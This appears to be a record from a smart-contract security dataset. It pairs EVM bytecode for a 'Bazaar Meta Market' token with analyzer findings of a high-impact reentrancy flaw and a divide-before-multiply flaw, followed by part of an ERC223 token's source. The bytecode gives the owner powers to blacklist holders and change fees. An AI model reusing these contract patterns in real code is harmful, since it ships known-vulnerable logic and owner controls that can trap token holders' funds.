0x6080604052600436106101ba5760003560e01c8063715018a6116100ec57806398a5c3151161008a578063c3c8cd8011610064578063c3c8cd80146105f2578063c8c3a50514610609578063dd62ed3e14610632578063ea1644d51461066f576101c1565b806398a5c3151461054f578063a9059cbb14610578578063bfd79284146105b5576101c1565b80638da5cb5b116100c65780638da5cb5b146104a55780638f70ccf7146104d05780638f9a55c0146104f957806395d89b4114610524576101c1565b8063715018a61461043a57806374010ece146104515780637d1db4a51461047a576101c1565b8063313ce567116101595780636b999053116101335780636b999053146103945780636d8aa8f8146103bd5780636fc3eaec146103e657806370a08231146103fd576101c1565b8063313ce5671461031557806349bd5a5e146103405780634e7cdbb71461036b576101c1565b80631694505e116101955780631694505e1461025757806318160ddd1461028257806323b872dd146102ad5780632fd689e3146102ea576101c1565b8062b8cf2a146101c657806306fdde03146101ef578063095ea7b31461021a576101c1565b366101c157005b600080fd5b3480156101d257600080fd5b506101ed60048036038101906101e89190612a62565b610698565b005b3480156101fb57600080fd5b506102046107c4565b6040516102119190612b33565b60405180910390f35b34801561022657600080fd5b50610241600480360381019061023c9190612b8b565b610801565b60405161024e9190612be6565b60405180910390f35b34801561026357600080fd5b5061026c61081f565b6040516102799190612c60565b60405180910390f35b34801561028e57600080fd5b50610297610845565b6040516102a49190612c8a565b60405180910390f35b3480156102b957600080fd5b506102d460048036038101906102cf9190612ca5565b610856565b6040516102e19190612be6565b60405180910390f35b3480156102f657600080fd5b506102ff61092f565b60405161030c9190612c8a565b60405180910390f35b34801561032157600080fd5b5061032a610935565b6040516103379190612d14565b60405180910390f35b34801561034c57600080fd5b5061035561093e565b6040516103629190612d3e565b60405180910390f35b34801561037757600080fd5b50610392600480360381019061038d9190612d59565b610964565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190612dc0565b610a1d565b005b3480156103c957600080fd5b506103e460048036038101906103df9190612e19565b610b0f565b005b3480156103f257600080fd5b506103fb610bc0565b005b34801561040957600080fd5b50610424600480360381019061041f9190612dc0565b610c32565b6040516104319190612c8a565b60405180910390f35b34801561044657600080fd5b5061044f610c83565b005b34801561045d57600080fd5b5061047860048036038101906104739190612e46565b610dd6565b005b34801561048657600080fd5b5061048f610e75565b60405161049c9190612c8a565b60405180910390f35b3480156104b157600080fd5b506104ba610e7b565b6040516104c79190612d3e565b60405180910390f35b3480156104dc57600080fd5b506104f760048036038101906104f29190612e19565b610ea4565b005b34801561050557600080fd5b5061050e610f56565b60405161051b9190612c8a565b60405180910390f35b34801561053057600080fd5b50610539610f5c565b6040516105469190612b33565b60405180910390f35b34801561055b57600080fd5b5061057660048036038101906105719190612e46565b610f99565b005b34801561058457600080fd5b5061059f600480360381019061059a9190612b8b565b61103a565b6040516105ac9190612be6565b60405180910390f35b3480156105c157600080fd5b506105dc60048036038101906105d79190612dc0565b611058565b6040516105e99190612be6565b60405180910390f35b3480156105fe57600080fd5b50610607611078565b005b34801561061557600080fd5b50610630600480360381019061062b9190612dc0565b6110f2565b005b34801561063e57600080fd5b5061065960048036038101906106549190612e73565b6112b6565b6040516106669190612c8a565b60405180910390f35b34801561067b57600080fd5b5061069660048036038101906106919190612e46565b61133d565b005b6106a06113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072690612eff565b60405180910390fd5b60005b81518110156107c05760016011600084848151811061075457610753612f1f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107b890612f7d565b915050610732565b5050565b60606040518060400160405280601281526020017f42617a616172204d657461204d61726b65740000000000000000000000000000815250905090565b600061081561080e6113de565b84846113e6565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108638484846115b1565b6109248461086f6113de565b61091f8560405180606001604052806028815260200161392c60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108d56113de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d159092919063ffffffff16565b6113e6565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61096c6113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f290612eff565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b610a256113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aab90612eff565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610b176113de565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ba4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9b90612eff565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c016113de565b73ffffffffffffffffffffffffffffffffffffffff1614610c2157600080fd5b6000479050610c2f81611d79565b50565b6000610c7c600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de5565b9050919050565b610c8b6113de565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0f90612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dde6113de565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6290612eff565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eac6113de565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3090612eff565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600681526020017f42617a6161720000000000000000000000000000000000000000000000000000815250905090565b610fa16113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102790612eff565b60405180910390fd5b8060198190555050565b600061104e6110476113de565b84846115b1565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110b96113de565b73ffffffffffffffffffffffffffffffffffffffff16146110d957600080fd5b60006110e430610c32565b90506110ef81611e53565b50565b6110fa6113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611189576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118090612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f090613038565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113456113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cb90612eff565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d906130ca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bd9061315c565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115a49190612c8a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611621576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611618906131ee565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611691576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168890613280565b60405180910390fd5b600081116116d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cb90613312565b60405180910390fd5b6116dc610e7b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561174a575061171a610e7b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a1457601660149054906101000a900460ff166117a9576017548111156117a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179f9061337e565b60405180910390fd5b5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561184d5750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61188c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188390613410565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461193957601854816118ee84610c32565b6118f89190613430565b10611938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192f906134f8565b60405180910390fd5b5b600061194430610c32565b905060006019548210159050601754821061195f5760175491505b8080156119795750601660159054906101000a900460ff16155b80156119d35750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156119e9575060168054906101000a900460ff165b15611a11576119f782611e53565b60004790506000811115611a0f57611a0e476120db565b5b505b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611abb5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611b6e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611b6d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611b7c5760009050611d03565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611c275750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c3f57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cea5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611d0257600b54600d81905550600c54600e819055505b5b611d0f8484848461216d565b50505050565b6000838311158290611d5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d549190612b33565b60405180910390fd5b5060008385611d6c9190613518565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611de1573d6000803e3d6000fd5b5050565b6000600754821115611e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e23906135be565b60405180910390fd5b6000611e3661219a565b9050611e4b81846121c590919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e8b57611e8a6128c1565b5b604051908082528060200260200182016040528015611eb95781602001602082028036833780820191505090505b5090503081600081518110611ed157611ed0612f1f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f7357600080fd5b505afa158015611f87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fab91906135f3565b81600181518110611fbf57611fbe612f1f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113e6565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208a959493929190613719565b600060405180830381600087803b1580156120a457600080fd5b505af11580156120b8573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61213e60016121306009866121c590919063ffffffff16565b61220f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612169573d6000803e3d6000fd5b5050565b8061217b5761217a61228a565b5b6121868484846122cd565b8061219457612193612498565b5b50505050565b60008060006121a76124ac565b915091506121be81836121c590919063ffffffff16565b9250505090565b600061220783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061250e565b905092915050565b6000808314156122225760009050612284565b600082846122309190613773565b905082848261223f91906137fc565b1461227f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122769061389f565b60405180910390fd5b809150505b92915050565b6000600d5414801561229e57506000600e54145b156122a8576122cb565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806122df87612571565b95509550955095509550955061233d86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d990919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d285600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461262390919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061241e81612681565b612428848361273e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124859190612c8a565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b600080600060075490506000683635c9adc5dea0000090506124e2683635c9adc5dea000006007546121c590919063ffffffff16565b82101561250157600754683635c9adc5dea0000093509350505061250a565b81819350935050505b9091565b60008083118290612555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254c9190612b33565b60405180910390fd5b506000838561256491906137fc565b9050809150509392505050565b600080600080600080600080600061258e8a600d54600e54612778565b925092509250600061259e61219a565b905060008060006125b18e87878761280e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061261b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d15565b905092915050565b60008082846126329190613430565b905083811015612677576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266e9061390b565b60405180910390fd5b8091505092915050565b600061268b61219a565b905060006126a2828461220f90919063ffffffff16565b90506126f681600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461262390919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612753826007546125d990919063ffffffff16565b60078190555061276e8160085461262390919063ffffffff16565b6008819055505050565b6000806000806127a46064612796888a61220f90919063ffffffff16565b6121c590919063ffffffff16565b905060006127ce60646127c0888b61220f90919063ffffffff16565b6121c590919063ffffffff16565b905060006127f7826127e9858c6125d990919063ffffffff16565b6125d990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612827858961220f90919063ffffffff16565b9050600061283e868961220f90919063ffffffff16565b90506000612855878961220f90919063ffffffff16565b9050600061287e8261287085876125d990919063ffffffff16565b6125d990919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128f9826128b0565b810181811067ffffffffffffffff82111715612918576129176128c1565b5b80604052505050565b600061292b612897565b905061293782826128f0565b919050565b600067ffffffffffffffff821115612957576129566128c1565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006129988261296d565b9050919050565b6129a88161298d565b81146129b357600080fd5b50565b6000813590506129c58161299f565b92915050565b60006129de6129d98461293c565b612921565b90508083825260208201905060208402830185811115612a0157612a00612968565b5b835b81811015612a2a5780612a1688826129b6565b845260208401935050602081019050612a03565b5050509392505050565b600082601f830112612a4957612a486128ab565b5b8135612a598482602086016129cb565b91505092915050565b600060208284031215612a7857612a776128a1565b5b600082013567ffffffffffffffff811115612a9657612a956128a6565b5b612aa284828501612a34565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ae5578082015181840152602081019050612aca565b83811115612af4576000848401525b50505050565b6000612b0582612aab565b612b0f8185612ab6565b9350612b1f818560208601612ac7565b612b28816128b0565b840191505092915050565b60006020820190508181036000830152612b4d8184612afa565b905092915050565b6000819050919050565b612b6881612b55565b8114612b7357600080fd5b50565b600081359050612b8581612b5f565b92915050565b60008060408385031215612ba257612ba16128a1565b5b6000612bb0858286016129b6565b9250506020612bc185828601612b76565b9150509250929050565b60008115159050919050565b612be081612bcb565b82525050565b6000602082019050612bfb6000830184612bd7565b92915050565b6000819050919050565b6000612c26612c21612c1c8461296d565b612c01565b61296d565b9050919050565b6000612c3882612c0b565b9050919050565b6000612c4a82612c2d565b9050919050565b612c5a81612c3f565b82525050565b6000602082019050612c756000830184612c51565b92915050565b612c8481612b55565b82525050565b6000602082019050612c9f6000830184612c7b565b92915050565b600080600060608486031215612cbe57612cbd6128a1565b5b6000612ccc868287016129b6565b9350506020612cdd868287016129b6565b9250506040612cee86828701612b76565b9150509250925092565b600060ff82169050919050565b612d0e81612cf8565b82525050565b6000602082019050612d296000830184612d05565b92915050565b612d388161298d565b82525050565b6000602082019050612d536000830184612d2f565b92915050565b60008060008060808587031215612d7357612d726128a1565b5b6000612d8187828801612b76565b9450506020612d9287828801612b76565b9350506040612da387828801612b76565b9250506060612db487828801612b76565b91505092959194509250565b600060208284031215612dd657612dd56128a1565b5b6000612de4848285016129b6565b91505092915050565b612df681612bcb565b8114612e0157600080fd5b50565b600081359050612e1381612ded565b92915050565b600060208284031215612e2f57612e2e6128a1565b5b6000612e3d84828501612e04565b91505092915050565b600060208284031215612e5c57612e5b6128a1565b5b6000612e6a84828501612b76565b91505092915050565b60008060408385031215612e8a57612e896128a1565b5b6000612e98858286016129b6565b9250506020612ea9858286016129b6565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612ee9602083612ab6565b9150612ef482612eb3565b602082019050919050565b60006020820190508181036000830152612f1881612edc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f8882612b55565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612fbb57612fba612f4e565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613022602683612ab6565b915061302d82612fc6565b604082019050919050565b6000602082019050818103600083015261305181613015565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006130b4602483612ab6565b91506130bf82613058565b604082019050919050565b600060208201905081810360008301526130e3816130a7565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613146602283612ab6565b9150613151826130ea565b604082019050919050565b6000602082019050818103600083015261317581613139565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006131d8602583612ab6565b91506131e38261317c565b604082019050919050565b60006020820190508181036000830152613207816131cb565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061326a602383612ab6565b91506132758261320e565b604082019050919050565b600060208201905081810360008301526132998161325d565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132fc602983612ab6565b9150613307826132a0565b604082019050919050565b6000602082019050818103600083015261332b816132ef565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613368601c83612ab6565b915061337382613332565b602082019050919050565b600060208201905081810360008301526133978161335b565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006133fa602383612ab6565b91506134058261339e565b604082019050919050565b60006020820190508181036000830152613429816133ed565b9050919050565b600061343b82612b55565b915061344683612b55565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561347b5761347a612f4e565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006134e2602383612ab6565b91506134ed82613486565b604082019050919050565b60006020820190508181036000830152613511816134d5565b9050919050565b600061352382612b55565b915061352e83612b55565b92508282101561354157613540612f4e565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006135a8602a83612ab6565b91506135b38261354c565b604082019050919050565b600060208201905081810360008301526135d78161359b565b9050919050565b6000815190506135ed8161299f565b92915050565b600060208284031215613609576136086128a1565b5b6000613617848285016135de565b91505092915050565b6000819050919050565b600061364561364061363b84613620565b612c01565b612b55565b9050919050565b6136558161362a565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6136908161298d565b82525050565b60006136a28383613687565b60208301905092915050565b6000602082019050919050565b60006136c68261365b565b6136d08185613666565b93506136db83613677565b8060005b8381101561370c5781516136f38882613696565b97506136fe836136ae565b9250506001810190506136df565b5085935050505092915050565b600060a08201905061372e6000830188612c7b565b61373b602083018761364c565b818103604083015261374d81866136bb565b905061375c6060830185612d2f565b6137696080830184612c7b565b9695505050505050565b600061377e82612b55565b915061378983612b55565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156137c2576137c1612f4e565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061380782612b55565b915061381283612b55565b925082613822576138216137cd565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613889602183612ab6565b91506138948261382d565b604082019050919050565b600060208201905081810360008301526138b88161387c565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006138f5601b83612ab6565b9150613900826138bf565b602082019050919050565b60006020820190508181036000830152613924816138e8565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122003260f65fc6b1c7fc14523e7abccaa4b00a94a13b994a64100304fca90ef372164736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,475
0x87f6485f0c04895ca1b46fe4d2387e0f8e30e155
pragma solidity ^0.4.11; contract ERC223Interface { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; function transfer(address to, uint value, bytes data)public ; event Transfer(address indexed from, address indexed to, uint value, bytes data); } /** * @title Contract that will work with ERC223 tokens. */ contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public; } /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract StandardAuth is ERC223Interface { address public owner; constructor() public { owner = msg.sender; } function setOwner(address _newOwner) public onlyOwner{ owner = _newOwner; } modifier onlyOwner() { require(msg.sender == owner); _; } } /** * @title Reference implementation of the ERC223 standard token. */ contract StandardToken is StandardAuth { using SafeMath for uint; mapping(address => uint) balances; // List of user balances. mapping(address => bool) optionPoolMembers; // string public name; string public symbol; uint8 public decimals = 9; uint256 public totalSupply; uint256 public optionPoolMembersUnlockTime = 1534168800; address public optionPool; uint256 public optionPoolTotalMax; uint256 public optionPoolTotal = 0; uint256 public optionPoolMembersAmount = 0; modifier verifyTheLock { if(optionPoolMembers[msg.sender] == true) { if(now < optionPoolMembersUnlockTime) { revert(); } else { _; } } else { _; } } // Function to access name of token . function name() public view returns (string _name) { return name; } // Function to access symbol of token . function symbol() public view returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() public view returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } // Function to access option pool of tokens . function optionPool() public view returns (address _optionPool) { return optionPool; } // Function to access option option pool total of tokens . function optionPoolTotal() public view returns (uint256 _optionPoolTotal) { return optionPoolTotal; } // Function to access option option pool total max of tokens . function optionPoolTotalMax() public view returns (uint256 _optionPoolTotalMax) { return optionPoolTotalMax; } function optionPoolBalance() public view returns (uint256 _optionPoolBalance) { return balances[optionPool]; } function verifyOptionPoolMembers(address _add) public view returns (bool _verifyResults) { return optionPoolMembers[_add]; } function optionPoolMembersAmount() public view returns (uint _optionPoolMembersAmount) { return optionPoolMembersAmount; } function optionPoolMembersUnlockTime() public view returns (uint _optionPoolMembersUnlockTime) { return optionPoolMembersUnlockTime; } constructor(uint256 _initialAmount, string _tokenName, string _tokenSymbol, address _tokenOptionPool, uint256 _tokenOptionPoolTotalMax) public { balances[msg.sender] = _initialAmount; // totalSupply = _initialAmount; // name = _tokenName; // symbol = 